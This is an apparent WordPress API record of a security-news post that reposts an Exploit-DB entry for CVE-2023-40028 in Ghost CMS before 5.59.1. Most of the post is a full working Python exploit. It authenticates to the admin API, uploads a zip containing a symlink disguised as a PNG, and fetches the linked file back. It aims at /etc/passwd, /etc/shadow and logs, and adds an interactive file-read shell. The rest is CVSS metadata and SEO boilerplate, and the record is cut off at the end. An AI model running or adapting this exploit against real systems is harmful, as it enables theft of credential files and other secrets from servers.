{"id":10384,"date":"2025-08-11T13:39:50","date_gmt":"2025-08-11T13:39:50","guid":{"rendered":"http:\/\/localhost\/?p=10384"},"modified":"2025-08-11T13:39:50","modified_gmt":"2025-08-11T13:39:50","slug":"ghost-cms-5591-arbitrary-file-read","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=10384","title":{"rendered":"Ghost CMS 5.59.1 &#8211; Arbitrary File Read_EDB-ID:52409"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-11T18:06:44&#8243;,&#8221;description&#8221;:&#8221;!\/usr\/bin\/env python3 &#8212; coding:&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-08-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Ghost CMS 5.59.1 &#8211; Arbitrary File Read&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52409&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-40028&#8243;],&#8221;sourceData&#8221;:&#8221;#!\/usr\/bin\/env python3\\r\\n# -*- coding: utf-8 -*-\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n# Exploit Title: Ghost CMS 5.59.1 &#8211; Arbitrary File Read\\r\\n# Date: 2023-09-20\\r\\n# Exploit Author: ibrahimsql (https:\/\/github.com\/ibrahmsql)\\r\\n# Vendor Homepage: https:\/\/ghost.org\\r\\n# Software Link: https:\/\/github.com\/TryGhost\/Ghost\\r\\n# Version: \\u003c 5.59.1\\r\\n# Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur\\r\\n# CVE: CVE-2023-40028\\r\\n# Category: Web Application Security\\r\\n# CVSS Score: 6.5 (Medium)\\r\\n# Description:\\r\\n# Ghost CMS versions prior to 5.59.1 contain a vulnerability that allows authenticated users\\r\\n# to upload files that are symlinks. This can be exploited to perform arbitrary file reads\\r\\n# of any file on the host operating system. The vulnerability exists in the file upload\\r\\n# mechanism which improperly validates symlink files, allowing attackers to access files\\r\\n# outside the intended directory structure through symlink traversal.\\r\\n\\r\\n\\r\\n# Requirements: requests\\u003e=2.28.1, zipfile, tempfile\\r\\n\\r\\n# Usage Examples:\\r\\n# python3 CVE-2023-40028.py http:\/\/localhost:2368 admin@example.com password123\\r\\n# python3 CVE-2023-40028.py https:\/\/ghost.example.com user@domain.com mypassword\\r\\n\\r\\n# Interactive Usage:\\r\\n# After running the script, you can use the interactive shell to read files:\\r\\n# file\\u003e \/etc\/passwd\\r\\n# file\\u003e \/etc\/shadow\\r\\n# file\\u003e \/var\/log\/ghost\/ghost.log\\r\\n# file\\u003e exit\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\nimport requests\\r\\nimport sys\\r\\nimport os\\r\\nimport tempfile\\r\\nimport zipfile\\r\\nimport random\\r\\nimport string\\r\\nfrom typing import Optional\\r\\n\\r\\nclass ExploitResult:\\r\\n    def __init__(self):\\r\\n        self.success = False\\r\\n        self.file_content = \\&#8221;\\&#8221;\\r\\n        self.status_code = 0\\r\\n        self.description = \\&#8221;Ghost CMS \\u003c 5.59.1 allows authenticated users to upload symlink files for arbitrary file read\\&#8221;\\r\\n        self.severity = \\&#8221;Medium\\&#8221;\\r\\n\\r\\nclass GhostArbitraryFileRead:\\r\\n    def __init__(self, ghost_url: str, username: str, password: str, verbose: bool = True):\\r\\n        self.ghost_url = ghost_url.rstrip(&#8216;\/&#8217;)\\r\\n        self.username = username\\r\\n        self.password = password\\r\\n        self.verbose = verbose\\r\\n        self.session = requests.Session()\\r\\n        self.session.headers.update({\\r\\n            &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\r\\n            &#8216;Accept&#8217;: &#8216;application\/json, text\/plain, *\/*&#8217;,\\r\\n            &#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.9&#8217;\\r\\n        })\\r\\n        self.api_url = f\\&#8221;{self.ghost_url}\/ghost\/api\/v3\/admin\\&#8221;\\r\\n        \\r\\n    def authenticate(self) -\\u003e bool:\\r\\n        \\&#8221;\\&#8221;\\&#8221;Authenticate with Ghost CMS admin panel\\&#8221;\\&#8221;\\&#8221;\\r\\n        login_data = {\\r\\n            &#8216;username&#8217;: self.username,\\r\\n            &#8216;password&#8217;: self.password\\r\\n        }\\r\\n        \\r\\n        headers = {\\r\\n            &#8216;Origin&#8217;: self.ghost_url,\\r\\n            &#8216;Accept-Version&#8217;: &#8216;v3.0&#8217;,\\r\\n            &#8216;Content-Type&#8217;: &#8216;application\/json&#8217;\\r\\n        }\\r\\n        \\r\\n        try:\\r\\n            response = self.session.post(\\r\\n                f\\&#8221;{self.api_url}\/session\/\\&#8221;,\\r\\n                json=login_data,\\r\\n                headers=headers,\\r\\n                timeout=10\\r\\n            )\\r\\n            \\r\\n            if response.status_code == 201:\\r\\n                if self.verbose:\\r\\n                    print(\\&#8221;[+] Successfully authenticated with Ghost CMS\\&#8221;)\\r\\n                return True\\r\\n            else:\\r\\n                if self.verbose:\\r\\n                    print(f\\&#8221;[-] Authentication failed: {response.status_code}\\&#8221;)\\r\\n                return False\\r\\n                \\r\\n        except requests.RequestException as e:\\r\\n            if self.verbose:\\r\\n                print(f\\&#8221;[-] Authentication error: {e}\\&#8221;)\\r\\n            return False\\r\\n    \\r\\n    def generate_random_name(self, length: int = 13) -\\u003e str:\\r\\n        \\&#8221;\\&#8221;\\&#8221;Generate random string for image name\\&#8221;\\&#8221;\\&#8221;\\r\\n        return &#8221;.join(random.choices(string.ascii_letters + string.digits, k=length))\\r\\n    \\r\\n    def create_exploit_zip(self, target_file: str) -\\u003e Optional[str]:\\r\\n        \\&#8221;\\&#8221;\\&#8221;Create exploit zip file with symlink\\&#8221;\\&#8221;\\&#8221;\\r\\n        try:\\r\\n            # Create temporary directory\\r\\n            temp_dir = tempfile.mkdtemp()\\r\\n            exploit_dir = os.path.join(temp_dir, &#8216;exploit&#8217;)\\r\\n            images_dir = os.path.join(exploit_dir, &#8216;content&#8217;, &#8216;images&#8217;, &#8216;2024&#8217;)\\r\\n            os.makedirs(images_dir, exist_ok=True)\\r\\n            \\r\\n            # Generate random image name\\r\\n            image_name = f\\&#8221;{self.generate_random_name()}.png\\&#8221;\\r\\n            symlink_path = os.path.join(images_dir, image_name)\\r\\n            \\r\\n            # Create symlink to target file\\r\\n            os.symlink(target_file, symlink_path)\\r\\n            \\r\\n            # Create zip file\\r\\n            zip_path = os.path.join(temp_dir, &#8216;exploit.zip&#8217;)\\r\\n            with zipfile.ZipFile(zip_path, &#8216;w&#8217;, zipfile.ZIP_DEFLATED) as zipf:\\r\\n                for root, dirs, files in os.walk(exploit_dir):\\r\\n                    for file in files:\\r\\n                        file_path = os.path.join(root, file)\\r\\n                        arcname = os.path.relpath(file_path, temp_dir)\\r\\n                        zipf.write(file_path, arcname)\\r\\n            \\r\\n            return zip_path, image_name\\r\\n            \\r\\n        except Exception as e:\\r\\n            if self.verbose:\\r\\n                print(f\\&#8221;[-] Error creating exploit zip: {e}\\&#8221;)\\r\\n            return None, None\\r\\n    \\r\\n    def upload_exploit(self, zip_path: str) -\\u003e bool:\\r\\n        \\&#8221;\\&#8221;\\&#8221;Upload exploit zip file to Ghost CMS\\&#8221;\\&#8221;\\&#8221;\\r\\n        try:\\r\\n            headers = {\\r\\n                &#8216;X-Ghost-Version&#8217;: &#8216;5.58&#8217;,\\r\\n                &#8216;X-Requested-With&#8217;: &#8216;XMLHttpRequest&#8217;,\\r\\n                &#8216;Origin&#8217;: self.ghost_url,\\r\\n                &#8216;Referer&#8217;: f\\&#8221;{self.ghost_url}\/ghost\/\\&#8221;\\r\\n            }\\r\\n            \\r\\n            with open(zip_path, &#8216;rb&#8217;) as f:\\r\\n                files = {\\r\\n                    &#8216;importfile&#8217;: (&#8216;exploit.zip&#8217;, f, &#8216;application\/zip&#8217;)\\r\\n                }\\r\\n                \\r\\n                response = self.session.post(\\r\\n                    f\\&#8221;{self.api_url}\/db\\&#8221;,\\r\\n                    files=files,\\r\\n                    headers=headers,\\r\\n                    timeout=30\\r\\n                )\\r\\n                \\r\\n                if response.status_code in [200, 201]:\\r\\n                    if self.verbose:\\r\\n                        print(\\&#8221;[+] Exploit zip uploaded successfully\\&#8221;)\\r\\n                    return True\\r\\n                else:\\r\\n                    if self.verbose:\\r\\n                        print(f\\&#8221;[-] Upload failed: {response.status_code}\\&#8221;)\\r\\n                    return False\\r\\n                    \\r\\n        except requests.RequestException as e:\\r\\n            if self.verbose:\\r\\n                print(f\\&#8221;[-] Upload error: {e}\\&#8221;)\\r\\n            return False\\r\\n    \\r\\n    def read_file(self, target_file: str) -\\u003e ExploitResult:\\r\\n        \\&#8221;\\&#8221;\\&#8221;Read arbitrary file using symlink upload\\&#8221;\\&#8221;\\&#8221;\\r\\n        result = ExploitResult()\\r\\n        \\r\\n        if not self.authenticate():\\r\\n            return result\\r\\n        \\r\\n        if self.verbose:\\r\\n            print(f\\&#8221;[*] Attempting to read file: {target_file}\\&#8221;)\\r\\n        \\r\\n        # Create exploit zip\\r\\n        zip_path, image_name = self.create_exploit_zip(target_file)\\r\\n        if not zip_path:\\r\\n            return result\\r\\n        \\r\\n        try:\\r\\n            # Upload exploit\\r\\n            if self.upload_exploit(zip_path):\\r\\n                # Try to access the symlinked file\\r\\n                file_url = f\\&#8221;{self.ghost_url}\/content\/images\/2024\/{image_name}\\&#8221;\\r\\n                \\r\\n                response = self.session.get(file_url, timeout=10)\\r\\n                \\r\\n                if response.status_code == 200 and len(response.text) \\u003e 0:\\r\\n                    result.success = True\\r\\n                    result.file_content = response.text\\r\\n                    result.status_code = response.status_code\\r\\n                    \\r\\n                    if self.verbose:\\r\\n                        print(f\\&#8221;[+] Successfully read file: {target_file}\\&#8221;)\\r\\n                        print(f\\&#8221;[+] File content length: {len(response.text)} bytes\\&#8221;)\\r\\n                else:\\r\\n                    if self.verbose:\\r\\n                        print(f\\&#8221;[-] Failed to read file: {response.status_code}\\&#8221;)\\r\\n            \\r\\n        except Exception as e:\\r\\n            if self.verbose:\\r\\n                print(f\\&#8221;[-] Error during exploit: {e}\\&#8221;)\\r\\n        \\r\\n        finally:\\r\\n            # Cleanup\\r\\n            try:\\r\\n                if zip_path and os.path.exists(zip_path):\\r\\n                    os.remove(zip_path)\\r\\n                temp_dir = os.path.dirname(zip_path) if zip_path else None\\r\\n                if temp_dir and os.path.exists(temp_dir):\\r\\n                    import shutil\\r\\n                    shutil.rmtree(temp_dir)\\r\\n            except:\\r\\n                pass\\r\\n        \\r\\n        return result\\r\\n    \\r\\n    def interactive_shell(self):\\r\\n        \\&#8221;\\&#8221;\\&#8221;Interactive shell for file reading\\&#8221;\\&#8221;\\&#8221;\\r\\n        print(\\&#8221;\\\\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Shell ===\\&#8221;)\\r\\n        print(\\&#8221;Enter file paths to read (type &#8216;exit&#8217; to quit)\\&#8221;)\\r\\n        \\r\\n        while True:\\r\\n            try:\\r\\n                file_path = input(\\&#8221;file\\u003e \\&#8221;).strip()\\r\\n                \\r\\n                if file_path.lower() == &#8216;exit&#8217;:\\r\\n                    print(\\&#8221;Bye Bye!\\&#8221;)\\r\\n                    break\\r\\n                \\r\\n                if not file_path:\\r\\n                    print(\\&#8221;Please enter a file path\\&#8221;)\\r\\n                    continue\\r\\n                \\r\\n                if &#8216; &#8216; in file_path:\\r\\n                    print(\\&#8221;Please enter full file path without spaces\\&#8221;)\\r\\n                    continue\\r\\n                \\r\\n                result = self.read_file(file_path)\\r\\n                \\r\\n                if result.success:\\r\\n                    print(f\\&#8221;\\\\n&#8212; Content of {file_path} &#8212;\\&#8221;)\\r\\n                    print(result.file_content)\\r\\n                    print(\\&#8221;&#8212; End of file &#8212;\\\\n\\&#8221;)\\r\\n                else:\\r\\n                    print(f\\&#8221;Failed to read file: {file_path}\\&#8221;)\\r\\n                    \\r\\n            except KeyboardInterrupt:\\r\\n                print(\\&#8221;\\\\nExiting&#8230;\\&#8221;)\\r\\n                break\\r\\n            except Exception as e:\\r\\n                print(f\\&#8221;Error: {e}\\&#8221;)\\r\\n\\r\\ndef main():\\r\\n    if len(sys.argv) != 4:\\r\\n        print(\\&#8221;Usage: python3 CVE-2023-40028.py \\u003cghost_url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e\\&#8221;)\\r\\n        print(\\&#8221;Example: python3 CVE-2023-40028.py http:\/\/localhost:2368 admin@example.com password123\\&#8221;)\\r\\n        return\\r\\n    \\r\\n    ghost_url = sys.argv[1]\\r\\n    username = sys.argv[2]\\r\\n    password = sys.argv[3]\\r\\n    \\r\\n    exploit = GhostArbitraryFileRead(ghost_url, username, password, verbose=True)\\r\\n    \\r\\n    # Test with common sensitive files\\r\\n    test_files = [\\r\\n        \\&#8221;\/etc\/passwd\\&#8221;,\\r\\n        \\&#8221;\/etc\/shadow\\&#8221;,\\r\\n        \\&#8221;\/etc\/hosts\\&#8221;,\\r\\n        \\&#8221;\/proc\/version\\&#8221;,\\r\\n        \\&#8221;\/var\/log\/ghost\/ghost.log\\&#8221;\\r\\n    ]\\r\\n    \\r\\n    print(\\&#8221;\\\\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Exploit ===\\&#8221;)\\r\\n    print(f\\&#8221;Target: {ghost_url}\\&#8221;)\\r\\n    print(f\\&#8221;Username: {username}\\&#8221;)\\r\\n    \\r\\n    # Test authentication first\\r\\n    if not exploit.authenticate():\\r\\n        print(\\&#8221;[-] Authentication failed. Please check credentials.\\&#8221;)\\r\\n        return\\r\\n    \\r\\n    print(\\&#8221;\\\\n[*] Testing common sensitive files&#8230;\\&#8221;)\\r\\n    for test_file in test_files:\\r\\n        result = exploit.read_file(test_file)\\r\\n        if result.success:\\r\\n            print(f\\&#8221;[+] Successfully read: {test_file}\\&#8221;)\\r\\n            print(f\\&#8221;    Content preview: {result.file_content[:100]}&#8230;\\&#8221;)\\r\\n        else:\\r\\n            print(f\\&#8221;[-] Failed to read: {test_file}\\&#8221;)\\r\\n    \\r\\n    # Start interactive shell\\r\\n    exploit.interactive_shell()\\r\\n\\r\\nif __name__ == \\&#8221;__main__\\&#8221;:\\r\\n    main()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52409&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:6.5,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52409&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-11T18:06:44&#8243;,&#8221;description&#8221;:&#8221;!\/usr\/bin\/env python3 &#8212; coding:&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-08-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Ghost CMS 5.59.1 &#8211; Arbitrary File Read&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52409&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-40028&#8243;],&#8221;sourceData&#8221;:&#8221;#!\/usr\/bin\/env python3\\r\\n# -*- coding: utf-8 -*-\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n# Exploit Title: Ghost CMS 5.59.1 &#8211; Arbitrary File Read\\r\\n# Date:&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,40,21,13,7,11,5],"class_list":["post-10384","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Ghost CMS 5.59.1 - Arbitrary File Read_EDB-ID:52409 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=10384\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Ghost CMS 5.59.1 - Arbitrary File Read_EDB-ID:52409 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-11T18:06:44&#8243;,&#8221;description&#8221;:&#8221;!\/usr\/bin\/env python3 &#8212; coding:&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-08-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Ghost CMS 5.59.1 &#8211; Arbitrary File Read&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52409&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-40028&#8243;],&#8221;sourceData&#8221;:&#8221;#!\/usr\/bin\/env python3rn# -*- coding: utf-8 -*-rn&#8221;&#8221;&#8221;rn# Exploit Title: Ghost CMS 5.59.1 &#8211; Arbitrary File Readrn# Date:...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=10384\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-11T13:39:50+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=10384#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=10384\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Ghost CMS 5.59.1 &#8211; Arbitrary File Read_EDB-ID:52409\",\"datePublished\":\"2025-08-11T13:39:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=10384\"},\"wordCount\":1912,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-6.5\",\"exploit\",\"exploitdb\",\"MEDIUM\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=10384#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=10384\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=10384\",\"name\":\"Ghost CMS 5.59.1 - Arbitrary File Read_EDB-ID:52409 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-11T13:39:50+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=10384#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=10384\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=10384#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Ghost CMS 5.59.1 &#8211; Arbitrary File Read_EDB-ID:52409\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Ghost CMS 5.59.1 - Arbitrary File Read_EDB-ID:52409 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=10384","og_locale":"en_US","og_type":"article","og_title":"Ghost CMS 5.59.1 - Arbitrary File Read_EDB-ID:52409 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-11T18:06:44&#8243;,&#8221;description&#8221;:&#8221;!\/usr\/bin\/env python3 &#8212; coding:&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-08-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Ghost CMS 5.59.1 &#8211; Arbitrary File Read&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52409&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-40028&#8243;],&#8221;sourceData&#8221;:&#8221;#!\/usr\/bin\/env python3rn# -*- coding: utf-8 -*-rn&#8221;&#8221;&#8221;rn# Exploit Title: Ghost CMS 5.59.1 &#8211; Arbitrary File Readrn# Date:...","og_url":"https:\/\/zero.redgem.net\/?p=10384","og_site_name":"zero redgem","article_published_time":"2025-08-11T13:39:50+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=10384#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=10384"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Ghost CMS 5.59.1 &#8211; Arbitrary File Read_EDB-ID:52409","datePublished":"2025-08-11T13:39:50+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=10384"},"wordCount":1912,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-6.5","exploit","exploitdb","MEDIUM","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=10384#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=10384","url":"https:\/\/zero.redgem.net\/?p=10384","name":"Ghost CMS 5.59.1 - Arbitrary File Read_EDB-ID:52409 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-11T13:39:50+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=10384#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=10384"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=10384#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Ghost CMS 5.59.1 &#8211; Arbitrary File Read_EDB-ID:52409"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 